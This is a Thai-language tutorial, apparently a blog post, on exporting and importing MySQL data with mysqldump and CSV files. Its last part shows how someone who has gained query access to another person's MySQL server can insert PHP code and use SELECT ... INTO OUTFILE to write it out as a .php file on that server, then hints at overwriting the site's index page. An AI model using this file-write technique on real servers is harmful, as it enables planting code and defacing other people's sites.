เริ่มจากแบบที่เราใช้กันบ่อยๆกันก่อน โดยการสั่ง Export & Import ผ่านทาง Command Line
– Export To SQL
1 | # mysqldump -uUsername -pPassword DatabaseName > DatabaseName.sql |
– Import From SQL
1 | # mysql -uUsername -pPassword DatabaseName < DatabaseName.sql |
ต่อไปมาดูอีกแบบหนึ่ง ที่เราสามารถ export ออกไปเป็น csv text file ได้โดนผ่านทาง phpMyAdmin หรือจะใช้ผ่านทาง sql command ก็ได้ โดยให้ทำการ login เข้าไปยัง phpMyAdmin หรือ mysql ก่อนนะครับ
– MySQL Login
1 | # mysql -uUsername -pPassword DatabaseName |
หรือ ถ้าใช้ phpMyAdmin ก็ทำการ login เข้าไปแล้วเลือก database ที่ต้องการ จากนั้นเข้าไปใน menu “run sql query”
ต่อไปมาลอง Export & Import เป็น .csv กันบ้าง
– Export To CSV
1 2 3 4 5 | SELECT * FROM TableName INTO OUTFILE 'D:/TableName.csv' FIELDS TERMINATED BY ',' ENCLOSED BY '"' LINES TERMINATED BY '\n'; |
– Import From CSV
1 2 3 4 5 | LOAD DATA INFILE 'D:/TableName.csv' INTO TABLE TableName FIELDS TERMINATED BY ',' OPTIONALLY ENCLOSED BY '"' LINES TERMINATED BY '\n'; |
– จุดที่น่าสนใจมันก็อยู่ตรงการ export ออกมาเป็น text file นี้แหละครับ
ตัวอย่าง ถ้าเราสามารถเข้าใช้งาน MySQL ในเครื่องของคนอื่นมาได้แล้ว (จะแฮกเข้าไปด้วยวิธีไหนก็ช่างนะครับ ขอให้ทำการ query คำสั่งได้เป็นพอ) ใน database ที่เราเข้าใช้งานนั้น มี table ชื่อ TableName อยู่ และมี field ชื่อ MSG ให้เราทำการ insert ขอมูลลงไปก่อนเลย เอาเป็น insert code php นี้แหละจะได้เห็นชัดๆกันไปเลย
– Insert PHP Code
1 | INSERT INTO `TableName`(`ID`,`MSG`) VALUES(NULL,'<? phpinfo(); ?>'); |
จากนั้นทำการ export ข้อมูลในตัวอย่าง โดยจะให้เอาไปไว้ที่ drive d: ใครอยากลองเอาไปไว้ที่ไหนก็ตามสะดวกครับ (ดู permission ด้วยนะจ้ะ ว่าเรามีสิทธิ์เขียนลงใน folder นั้นหรือเปล่า)
– Export To phpinfo.php
1 2 3 | SELECT `MSG` FROM `TableName` WHERE `ID`='1' INTO OUTFILE 'D:/phpinfo.php' LINES TERMINATED BY ''; |
ลองคิดดูซิครับว่าถ้าเราทำการ insert ข้อมูลที่เป็น html ที่เราต้องการลงไป และจากนั้นทำการสั่งให้เขียนไปทับ file index.html หรือ index.php ของ server เครื่องนั้นๆ อะไรจะตามมา…. ก็คุกซิครับพี่น้อง….